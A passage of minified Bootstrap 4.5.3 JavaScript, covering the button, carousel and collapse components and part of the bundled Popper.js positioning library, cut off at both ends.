t(this),o.data("bs.button",r)),r.shouldAvoidTriggerChange=n,"toggle"===e&&r[e]()}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}}]),t}();i.default(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(t){var e=t.target,n=e;if(i.default(e).hasClass("btn")||(e=i.default(e).closest(".btn")[0]),!e||e.hasAttribute("disabled")||e.classList.contains("disabled"))t.preventDefault();else{var o=e.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")||o.classList.contains("disabled")))return void t.preventDefault();"INPUT"!==n.tagName&&"LABEL"===e.tagName||h._jQueryInterface.call(i.default(e),"toggle","INPUT"===n.tagName)}})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(t){var e=i.default(t.target).closest(".btn")[0];i.default(e).toggleClass("focus",/^focus(in)?$/.test(t.type))})),i.default(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e<n;e++){var i=t[e],o=i.querySelector('input:not([type="hidden"])');o.checked||o.hasAttribute("checked")?i.classList.add("active"):i.classList.remove("active")}for(var r=0,a=(t=[].slice.call(document.querySelectorAll('[data-toggle="button"]'))).length;r<a;r++){var s=t[r];"true"===s.getAttribute("aria-pressed")?s.classList.add("active"):s.classList.remove("active")}})),i.default.fn.button=h._jQueryInterface,i.default.fn.button.Constructor=h,i.default.fn.button.noConflict=function(){return i.default.fn.button=c,h._jQueryInterface};var p="carousel",m=".bs.carousel",g=i.default.fn[p],v={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},_={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},b={TOUCH:"touch",PEN:"pen"},y=function(){function t(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(e),this._element=t,this._indicatorsElement=this._element.querySelector(".carousel-indicators"),this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var e=t.prototype;return e.next=function(){this._isSliding||this._slide("next")},e.nextWhenVisible=function(){var t=i.default(this._element);!document.hidden&&t.is(":visible")&&"hidden"!==t.css("visibility")&&this.next()},e.prev=function(){this._isSliding||this._slide("prev")},e.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(l.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},e.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},e.to=function(t){var e=this;this._activeElement=this._element.querySelector(".active.carousel-item");var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)i.default(this._element).one("slid.bs.carousel",(function(){return e.to(t)}));else{if(n===t)return this.pause(),void this.cycle();var o=t>n?"next":"prev";this._slide(o,this._items[t])}},e.dispose=function(){i.default(this._element).off(m),i.default.removeData(this._element,"bs.carousel"),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},e._getConfig=function(t){return t=a({},v,t),l.typeCheckConfig(p,t,_),t},e._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},e._addEventListeners=function(){var t=this;this._config.keyboard&&i.default(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&i.default(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},e._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var e=function(e){t._pointerEvent&&b[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},n=function(e){t._pointerEvent&&b[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};i.default(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(i.default(this._element).on("pointerdown.bs.carousel",(function(t){return e(t)})),i.default(this._element).on("pointerup.bs.carousel",(function(t){return n(t)})),this._element.classList.add("pointer-event")):(i.default(this._element).on("touchstart.bs.carousel",(function(t){return e(t)})),i.default(this._element).on("touchmove.bs.carousel",(function(e){return function(e){e.originalEvent.touches&&e.originalEvent.touches.length>1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),i.default(this._element).on("touchend.bs.carousel",(function(t){return n(t)})))}},e._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},e._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},e._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),r=this._items.length-1;if((i&&0===o||n&&o===r)&&!this._config.wrap)return e;var a=(o+("prev"===t?-1:1))%this._items.length;return-1===a?this._items[this._items.length-1]:this._items[a]},e._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),o=this._getItemIndex(this._element.querySelector(".active.carousel-item")),r=i.default.Event("slide.bs.carousel",{relatedTarget:t,direction:e,from:o,to:n});return i.default(this._element).trigger(r),r},e._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));i.default(e).removeClass("active");var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&i.default(n).addClass("active")}},e._slide=function(t,e){var n,o,r,a=this,s=this._element.querySelector(".active.carousel-item"),u=this._getItemIndex(s),f=e||s&&this._getItemByDirection(t,s),d=this._getItemIndex(f),c=Boolean(this._interval);if("next"===t?(n="carousel-item-left",o="carousel-item-next",r="left"):(n="carousel-item-right",o="carousel-item-prev",r="right"),f&&i.default(f).hasClass("active"))this._isSliding=!1;else if(!this._triggerSlideEvent(f,r).isDefaultPrevented()&&s&&f){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(f);var h=i.default.Event("slid.bs.carousel",{relatedTarget:f,direction:r,from:u,to:d});if(i.default(this._element).hasClass("slide")){i.default(f).addClass(o),l.reflow(f),i.default(s).addClass(n),i.default(f).addClass(n);var p=parseInt(f.getAttribute("data-interval"),10);p?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=p):this._config.interval=this._config.defaultInterval||this._config.interval;var m=l.getTransitionDurationFromElement(s);i.default(s).one(l.TRANSITION_END,(function(){i.default(f).removeClass(n+" "+o).addClass("active"),i.default(s).removeClass("active "+o+" "+n),a._isSliding=!1,setTimeout((function(){return i.default(a._element).trigger(h)}),0)})).emulateTransitionEnd(m)}else i.default(s).removeClass("active"),i.default(f).addClass("active"),this._isSliding=!1,i.default(this._element).trigger(h);c&&this.cycle()}},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this).data("bs.carousel"),o=a({},v,i.default(this).data());"object"==typeof e&&(o=a({},o,e));var r="string"==typeof e?e:o.slide;if(n||(n=new t(this,o),i.default(this).data("bs.carousel",n)),"number"==typeof e)n.to(e);else if("string"==typeof r){if("undefined"==typeof n[r])throw new TypeError('No method named "'+r+'"');n[r]()}else o.interval&&o.ride&&(n.pause(),n.cycle())}))},t._dataApiClickHandler=function(e){var n=l.getSelectorFromElement(this);if(n){var o=i.default(n)[0];if(o&&i.default(o).hasClass("carousel")){var r=a({},i.default(o).data(),i.default(this).data()),s=this.getAttribute("data-slide-to");s&&(r.interval=!1),t._jQueryInterface.call(i.default(o),r),s&&i.default(o).data("bs.carousel").to(s),e.preventDefault()}}},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return v}}]),t}();i.default(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",y._dataApiClickHandler),i.default(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),e=0,n=t.length;e<n;e++){var o=i.default(t[e]);y._jQueryInterface.call(o,o.data())}})),i.default.fn[p]=y._jQueryInterface,i.default.fn[p].Constructor=y,i.default.fn[p].noConflict=function(){return i.default.fn[p]=g,y._jQueryInterface};var w="collapse",E=i.default.fn[w],T={toggle:!0,parent:""},C={toggle:"boolean",parent:"(string|element)"},S=function(){function t(t,e){this._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=[].slice.call(document.querySelectorAll('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=[].slice.call(document.querySelectorAll('[data-toggle="collapse"]')),i=0,o=n.length;i<o;i++){var r=n[i],a=l.getSelectorFromElement(r),s=[].slice.call(document.querySelectorAll(a)).filter((function(e){return e===t}));null!==a&&s.length>0&&(this._selector=a,this._triggerArray.push(r))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var e=t.prototype;return e.toggle=function(){i.default(this._element).hasClass("show")?this.hide():this.show()},e.show=function(){var e,n,o=this;if(!this._isTransitioning&&!i.default(this._element).hasClass("show")&&(this._parent&&0===(e=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof o._config.parent?t.getAttribute("data-parent")===o._config.parent:t.classList.contains("collapse")}))).length&&(e=null),!(e&&(n=i.default(e).not(this._selector).data("bs.collapse"))&&n._isTransitioning))){var r=i.default.Event("show.bs.collapse");if(i.default(this._element).trigger(r),!r.isDefaultPrevented()){e&&(t._jQueryInterface.call(i.default(e).not(this._selector),"hide"),n||i.default(e).data("bs.collapse",null));var a=this._getDimension();i.default(this._element).removeClass("collapse").addClass("collapsing"),this._element.style[a]=0,this._triggerArray.length&&i.default(this._triggerArray).removeClass("collapsed").attr("aria-expanded",!0),this.setTransitioning(!0);var s="scroll"+(a[0].toUpperCase()+a.slice(1)),u=l.getTransitionDurationFromElement(this._element);i.default(this._element).one(l.TRANSITION_END,(function(){i.default(o._element).removeClass("collapsing").addClass("collapse show"),o._element.style[a]="",o.setTransitioning(!1),i.default(o._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(u),this._element.style[a]=this._element[s]+"px"}}},e.hide=function(){var t=this;if(!this._isTransitioning&&i.default(this._element).hasClass("show")){var e=i.default.Event("hide.bs.collapse");if(i.default(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",l.reflow(this._element),i.default(this._element).addClass("collapsing").removeClass("collapse show");var o=this._triggerArray.length;if(o>0)for(var r=0;r<o;r++){var a=this._triggerArray[r],s=l.getSelectorFromElement(a);if(null!==s)i.default([].slice.call(document.querySelectorAll(s))).hasClass("show")||i.default(a).addClass("collapsed").attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var u=l.getTransitionDurationFromElement(this._element);i.default(this._element).one(l.TRANSITION_END,(function(){t.setTransitioning(!1),i.default(t._element).removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")})).emulateTransitionEnd(u)}}},e.setTransitioning=function(t){this._isTransitioning=t},e.dispose=function(){i.default.removeData(this._element,"bs.collapse"),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},e._getConfig=function(t){return(t=a({},T,t)).toggle=Boolean(t.toggle),l.typeCheckConfig(w,t,C),t},e._getDimension=function(){return i.default(this._element).hasClass("width")?"width":"height"},e._getParent=function(){var e,n=this;l.isElement(this._config.parent)?(e=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(e=this._config.parent[0])):e=document.querySelector(this._config.parent);var o='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]',r=[].slice.call(e.querySelectorAll(o));return i.default(r).each((function(e,i){n._addAriaAndCollapsedClass(t._getTargetFromElement(i),[i])})),e},e._addAriaAndCollapsedClass=function(t,e){var n=i.default(t).hasClass("show");e.length&&i.default(e).toggleClass("collapsed",!n).attr("aria-expanded",n)},t._getTargetFromElement=function(t){var e=l.getSelectorFromElement(t);return e?document.querySelector(e):null},t._jQueryInterface=function(e){return this.each((function(){var n=i.default(this),o=n.data("bs.collapse"),r=a({},T,n.data(),"object"==typeof e&&e?e:{});if(!o&&r.toggle&&"string"==typeof e&&/show|hide/.test(e)&&(r.toggle=!1),o||(o=new t(this,r),n.data("bs.collapse",o)),"string"==typeof e){if("undefined"==typeof o[e])throw new TypeError('No method named "'+e+'"');o[e]()}}))},r(t,null,[{key:"VERSION",get:function(){return"4.5.3"}},{key:"Default",get:function(){return T}}]),t}();i.default(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',(function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var e=i.default(this),n=l.getSelectorFromElement(this),o=[].slice.call(document.querySelectorAll(n));i.default(o).each((function(){var t=i.default(this),n=t.data("bs.collapse")?"toggle":e.data();S._jQueryInterface.call(t,n)}))})),i.default.fn[w]=S._jQueryInterface,i.default.fn[w].Constructor=S,i.default.fn[w].noConflict=function(){return i.default.fn[w]=E,S._jQueryInterface};var D="undefined"!=typeof window&&"undefined"!=typeof document&&"undefined"!=typeof navigator,N=function(){for(var t=["Edge","Trident","Firefox"],e=0;e<t.length;e+=1)if(D&&navigator.userAgent.indexOf(t[e])>=0)return 1;return 0}();var k=D&&window.Promise?function(t){var e=!1;return function(){e||(e=!0,window.Promise.resolve().then((function(){e=!1,t()})))}}:function(t){var e=!1;return function(){e||(e=!0,setTimeout((function(){e=!1,t()}),N))}};function A(t){return t&&"[object Function]"==={}.toString.call(t)}function I(t,e){if(1!==t.nodeType)return[];var n=t.ownerDocument.defaultView.getComputedStyle(t,null);return e?n[e]:n}function O(t){return"HTML"===t.nodeName?t:t.parentNode||t.host}function x(t){if(!t)return document.body;switch(t.nodeName){case"HTML":case"BODY":return t.ownerDocument.body;case"#document":return t.body}var e=I(t),n=e.overflow,i=e.overflowX,o=e.overflowY;return/(auto|scroll|overlay)/.test(n+o+i)?t:x(O(t))}function j(t){return t&&t.referenceNode?t.referenceNode:t}var L=D&&!(!window.MSInputMethodContext||!document.documentMode),P=D&&/MSIE 10/.test(navigator.userAgent);function F(t){return 11===t?L:10===t?P:L||P}function R(t){if(!t)return document.documentElement;for(var e=F(10)?document.body:null,n=t.offsetParent||null;n===e&&t.nextElementSibling;)n=(t=t.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&"BODY"!==i&&"HTML"!==i?-1!==["TH","TD","TABLE"].indexOf(n.nodeName)&&"static"===I(n,"position")?R(n):n:t?t.ownerDocument.documentElement:document.documentElement}function H(t){return null!==t.parentNode?H(t.parentNode):t}function M(t,e){if(!(t&&t.nodeType&&e&&e.nodeType))return document.documentElement;var n=t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_FOLLOWING,i=n?t:e,o=n?e:t,r=document.createRange();r.setStart(i,0),r.setEnd(o,0);var a,s,l=r.commonAncestorContainer;if(t!==l&&e!==l||i.contains(o))return"BODY"===(s=(a=l).nodeName)||"HTML"!==s&&R(a.firstElementChild)!==a?R(l):l;var u=H(t);return u.host?M(u.host,e):M(t,H(e).host)}function B(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"top",n="top"===e?"scrollTop":"scrollLeft",i=t.nodeName;if("BODY"===i||"HTML"===i){var o=t.ownerDocument.documentElement,r=t.ownerDocument.scrollingElement||o;return r[n]}return t[n]}function q(t,e){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],i=B(e,"top"),o=B(e,"left"),r=n?-1:1;return t.top+=i*r,t.bottom+=i*r,t.left+=o*r,t.right+=o*r,t}function Q(t,e){var n="x"===e?"Left":"Top",i="Left"===n?"Right":"Bottom";return parseFloat(t["border"+n+"Width"])+parseFloat(t["border"+i+"Width"])}function W(t,e,n,i){return Math.max(e["offset"+t],e["scroll"+t],n["client"+t],n["offset"+t],n["scroll"+t],F(10)?parseInt(n["offset"+t])+parseInt(i["margin"+("Height"===t?"Top":"Left")])+parseInt(i["margin"+("Height"===t?"Bottom":"Right")]):0)}function U(t){var e=t.body,n=t.documentElement,i=F(10)&&getComputedStyle(n);return{height:W("Height",e,n,i),width:W("Width",e,n,i)}}var V=function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")},Y=function(){function t(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(e,n,i){return n&&t(e.prototype,n),i&&t(e,i),e}}(),z=function(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t},X=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t};function K(t){return X({},t,{right:t.left+t.width,bottom:t.top+t.height})}function G(t){var e={};try{if(F(10)){e=t.getBoundingClientRect();var n=B(t,"top"),i=B(t,"left");e.top+=n,e.left+=i,e.bottom+=n,e.right+=i}else e=t.getBoundingClientRect()}catch(t){}var o={left:e.left,top:e.top,width:e.right-e.left,height:e.bottom-e.top},r="HTML"===t.nodeName?U(t.ownerDocument):{},a=r.width||t.clientWidth||o.width,s=r.height||t.clientHeight||o.height,l=t.offsetWidth-a,u=t.offsetHeight-s;if(l||u){var f=I(t);l-=Q(f,"x"),u-=Q(f,"y"),o.width-=l,o.height-=u}return K(o)}function $(t,e){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],i=F(10),o="HTML"===e.nodeName,r=G(t),a=G(e),s=x(t),l=I(e),u=parseFloat(l.borderTopWidth),f=parseFloat(l.borderLeftWidth);n&&o&&(a.top=Math.max(a.top,0),a.left=Math.max(a.left,0));var d=K({top:r.top-a.top-u,left:r.left-a.left-f,width:r.width,height:r.height});if(d.marginTop=0,d.marginLeft=0,!i&&o){var c=parseFloat(l.marginTop),h=parseFloat(l.marginLeft);d.top-=u-c,d.bottom-=u-c,d.left-=f-h,d.right-=f-h,d.marginTop=c,d.marginLeft=h}return(i&&!n?e.contains(s):e===s&&"BODY"!==s.nodeName)&&(d=q(d,e)),d}function J(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=t.ownerDocument.documentElement,i=$(t,n),o=Math.max(n.clientWidth,window.innerWidth||0),r=Math.max(n.clientHeight,window.innerHeight||0),a=e?0:B(n),s=e?0:B(n,"left"),l={top:a-i.top+i.marginTop,left:s-i.left+i.marginLeft,width:o,height:r};return K(l)}function Z(t){var e=t.nodeName;if("BODY"===e||"HTML"===e)return!1;if("fixed"===I(t,"position"))return!0;var n=O(t);return!!n&&Z(n)}function tt(t){if(!t||!t.parentElement||F())return document.documentElement;for(var e=t.parentElement;e&&"none"===I(e,"transform");)e=e.parentElement;return e||document.documentElement}function et(t,e,n,i){var o=arguments.length>4&&void 0!==arguments[4]&&arguments[4],r={top:0,left:0},a=o?tt(t):M(t,j(e));if("viewport"===i)r=J(a,o);else{var s=void 0;"scrollParent"===i?"BODY"===(s=x(O(e))).nodeName&&(s=t.ownerDocument.documentElement):s="window"===i?t.ownerDocument.documentElement:i;var l=$(s,a,o);if("HTML"!==s.nodeName||Z(a))r=l;else{var u=U(t.ownerDocument),f=u.height,d=u.width;r.top+=l.top-l.marginTop,r.bottom=f+l.top,r.left+=l.left-l.marginLeft,r.right=d+l.left}}var c="number"==typeof(n=n||0);return r.left+=c?n:n.left||0,r.top+=c?n:n.top||0,r.right-=c?n:n.right||0,r.bottom-=c?n:n.bottom||0,r}function nt(t){return t.width*t.height}function it(t,e,n,i,o){var r=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0;if(-1===t.indexOf("auto"))return t;var a=et(n,i,r,o),s={top:{width:a.width,height:e.top-a.top},right:{width:a.right-e.right,height:a.height},bottom:{width:a.width,height:a.bottom-e.bottom},left:{width:e.left-a.left,height:a.height}},l=Object.keys(s).map((function(t){return X({key:t},s[t],{area:nt(s[t])})})).sort((function(t,e){return e.area-t.area})),u=l.filter((function(t){var e=t.width,i=t.height;return e>=n.clientWidth&&i>=n.clientHeight})),f=u.length>0?u[0].key:l[0].key,d=t.split("-")[1];return f+(d?"-"+d:"")}function ot(t,e,n){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null,o=i?tt(e):M(e,j(n));return $(n,o,i)}function rt(t){var e=t.ownerDocument.defaultView.getComputedStyle(t),n=parseFloat(e.marginTop||0)+parseFloat(e.marginBottom||0),i=parseFloat(e.marginLeft||0)+parseFloat(e.marginRight||0);return{width:t.offsetWidth+i,height:t.offsetHeight+n}}function at(t){var e={left:"right",right:"left",bottom:"top",top:"bottom"};return t.replace(/left|right|bottom|top/g,(function(t){return e[t]}))}function st(t,e,n){n=n.split("-")[0];var i=rt(t),o={width:i.width,height:i.height},r=-1!==["right","left"].indexOf(n),a=r?"top":"left",s=r?"left":"top",l=r?"height":"width",u=r?"width":"height";return o[a]=e[a]+e[l]/2-i[l]/2,o[s]=n===s?e[s]-i[u]:e[at(s)],o}function lt(t,e){return Array.prototype.find?t.find(e):t.filter(e)[0]}function ut(t,e,n){return(void 0===n?t:t.slice(0,function(t,e,n){if(Array.prototype.findIndex)return t.findIndex((function(t){return t[e]===n}));var i=lt(t,(function(t){return t[e]===n}));return t.indexOf(i)}(t,"name",n))).forEach((function(t){t.function&&console.warn("`modifier.function` is deprecated, use `modifier.fn`!");var n=t.function||t.fn;t.enabled&&A(n)&&(e.offsets.popper=K(e.offsets.popper),e.offsets.reference=K(e.offsets.reference),e=n(e,t))})),e}function ft(){if(!this.state.isDestroyed){var t={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};t.offsets.reference=ot(this.state,this.popper,this.reference,this.options.positionFixed),t.placement=it(this.options.placement,t.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),t.originalPlacement=t.placement,t.positionFixed=this.options.positionFixed,t.offsets.popper=st(this.popper,t.offsets.reference,t.placement),t.offsets.popper.position=this.options.positionFixed?"fixed":"absolute",t=ut(this.modifiers,t),this.state.isCreated?this.options.onUpdate(t):(this.state.isCreated=!0,this.options.onCreate(t))}}function dt(t,e){return t.some((function(t){var n=t.name;return t.enabled&&n===e}))}function ct(t){for(var e=[!1,"ms","Webkit","Moz","O"],n=t.charAt(0).toUpperCase()+t.slice(1),i=0;i<e.length;i++){var o=e[i],r=o?""+o+n:t;if("undefined"!=typeof document.body.style[r])return r}return null}function ht(){return this.state.isDestroyed=!0,dt(this.modifiers,"applyStyle")&&(this.popper.removeAttribute("x-placement"),this.popper.style.position="",this.popper.style.top="",this.popper.style.left="",this.popper.style.right="",this.popper.style.bottom="",this.popper.style.willChange="",this.popper.style[ct("transform")]=""),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function pt(t){var e=t.ownerDocument;return e?e.defaultView:window}function mt(t,e,n,i){n.updateBound=i,pt(t).addEventListener("resize",n.updateBound,{passive:!0});var o=x(t);return function t(e,n,i,o){var r="BODY"===e.nodeName,a=r?e.ownerDocument.defaultView:e;a.addEventListener(n,i,{passive:!0}),r||t(x(a.parentNode),n,i,o),o.push(a)}(o,"scroll",n.updateBound,n.scrollParents),n.scrollElement=o,n.eventsEnabled=!0,n}function gt(){this.state.eventsEnabled||(this.state=mt(this.reference,this.options,this.state,this.scheduleUpdate))}function vt(){var t,e;this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=(t=this.reference,e=this.state,pt(t).removeEventListener("resize",e.updateBound),e.scrollParents.forEach((function(t){t.removeEventListener("scroll",e.updateBound)})),e.updateBound=null,e.scrollParents=[],e.scrollElement=null,e.eventsEnabled=!1,e))}function _t(t){return""!==t&&!isNaN(parseFloat(t))&&isFinite(t)}function bt(t,e){Object.keys(e).forEach((function(n){var i="";-1!==["width","height","top","right","bottom","left"].indexOf(n)&&_t(e[n])&&(i="px"),t.style[n]=e[n]+i}))}var yt=D&&/Firefox/i.test(navigator.userAgent);function wt(t,e,n){var i=lt(t,(function(t){return t.name===e})),o=!!i&&t.some((function(t){return t.name===n&&t.enabled&&t.order<i.order}));if(!o){var r="`"+e+"`",a="`"+n+"`";console.warn(a+" modifier is required by "+r+" modifier in order to work, be sure to include it before "+r+"!")}return o}var Et=["auto-start","auto","auto-end","top-start","top","top-end","right-start","right","right-end","bottom-end","bottom","bottom-start","left-end","left","left-start"],Tt=Et.slice(3);function Ct(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=Tt.indexOf(t),i=Tt.slice(n+1).concat(Tt.slice(0,n));return e?i.reverse():i}var St="flip",Dt="clockwise",Nt="counterclockwise";function kt(t,e,n,i){var o=[0,0],r=-1!==["right","left"].indexOf(i),a=t.split(/(\+|\-)/).map((function(t){return t.trim()})),s=a.indexOf(lt(a,(function(t){return-1!==t.search(/,|\s/)})));a[s]&&-1===a[s].indexOf(",")&&console.warn("Offsets separated by white space(s) are deprecated, use a comma (,) instead.");var l=/\s*,\s*|\s+/,u=-1!==s?[a.slice(0,s).concat([a[s].split(l)[0]]),[a[s].split(l)[1]].concat(a.slice(s+1))]:[a];return(u=u.map((function(t,i){var o=(1===i?!r:r)?"height":"width",a=!1;return t.reduce((function(t,e){return""===t[t.length-1]&&-1!==["+","-"].indexOf(e)?(t[t.length-1]=e,a=!0,t):a?(t[t.length-1]+=e,a=!1,t):t.concat(e)}),[]).map((function(t){return function(t,e,n,i){var o=t.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+o[1],a=o[2];if(!r)return t;if(0===a.indexOf("%")){var s=void 0;switch(a){case"%p":s=n;break;case"%":case"%r":default:s=i}return K(s)[e]/100*r}if("vh"===a||"vw"===a){return("vh"===a?Math.max(document.documentElement.clientHeight,window.innerHeight||0):Math.max(document.documentElement.clientWidth,window.innerWidth||0))/100*r}return r}(t,o,e,n)}))}))).forEach((function(t,e){t.forEach((function(n,i){_t(n)&&(o[e]+=n*("-"===t[i-1]?-1:1))}))})),o}var At={placement:"bottom",positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(t){var e=t.placement,n=e.split("-")[0],i=e.split("-")[1];if(i){var o=t.offsets,r=o.reference,a=o.popper,s=-1!==["bottom","top"].indexOf(n),l=s?"left":"top",u=s?"width":"height",f={start:z({},l,r[l]),end:z({},l,r[l]+r[u]-a[u])};t.offsets.popper=X({},a,f[i])}return t}},offset:{order:200,enabled:!0,fn:function(t,e){var n=e.offset,i=t.placement,o=t.offsets,r=o.popper,a=o.reference,s=i.split("-")[0],l=void 0;return l=_t(+n)?[+n,0]:kt(n,r,a,s),"left"===s?(r.top+=l[0],r.left-=l[1]):"right"===s?(r.top+=l[0],r.left+=l[1]):"top"===s?(r.left+=l[0],r.top-=l[1]):"bottom"===s&&(r.left+=l[0],r.top+=l[1]),t.popper=r,t},offset:0},preventOverflow:{order:300,enabled:!0,fn:function(t,e){var n=e.boundariesElement||R(t.instance.popper);t.instance.reference===n&&(n=R(n));var i=ct("transform"),o=t.instance.popper.style,r=o.top,a=o.left,s=o[i];o.top="",o.left="",o[i]="";var l=et(t.instance.popper,t.instance.reference,e.padding,n,t.positionFixed);o.top=r,o.left=a,o[i]=s,e.boundaries=l;var u=e.priority,f=t.offsets.popper,d={primary:function(t){var n=f[t];return f[t]<l[t]&&!e.escapeWithReference&&(n=Math.max(f[t],l[t])),z({},t,n)},secondary:function(t){var n="right"===t?"left":"top",i=f[n];return f[t]>l[t]&&!e.escapeWithReference&&(i=Math.min(f[n],l[t]-("right"===t?f.width:f.height))),z({},n,i)}};return u.forEach((function(t){var e=-1!==["left","top"].indexOf(t)?"primary":"secondary";f=X({},f,d[e](t))})),t.offsets.popper=f,t},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(t){var e=t.offsets,n=e.popper,i=e.reference,o=t.placement.split("-")[0],r=Math.floor,a=-1!==["top","bottom"].indexOf(o),s=a?"right":"bottom",l=a?"left":"top",u=a?"width":"height";return n[s]<r(i[l])&&(t.offsets.popper[l]=r(i[l])-n[u]),n[l]>r(i[s])&&(t.offsets.popper[l]=r(i[s])),t}},arrow:{order:500,enabled:!0,fn:function(t,e){var n;if(!wt(t.instance.modifiers,"arrow","keepTogether"))return t;var i=e.element;if("string"==typeof i){if(!(i=t.instance.popper.querySelector(i)))return t}else if(!t.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),t;var 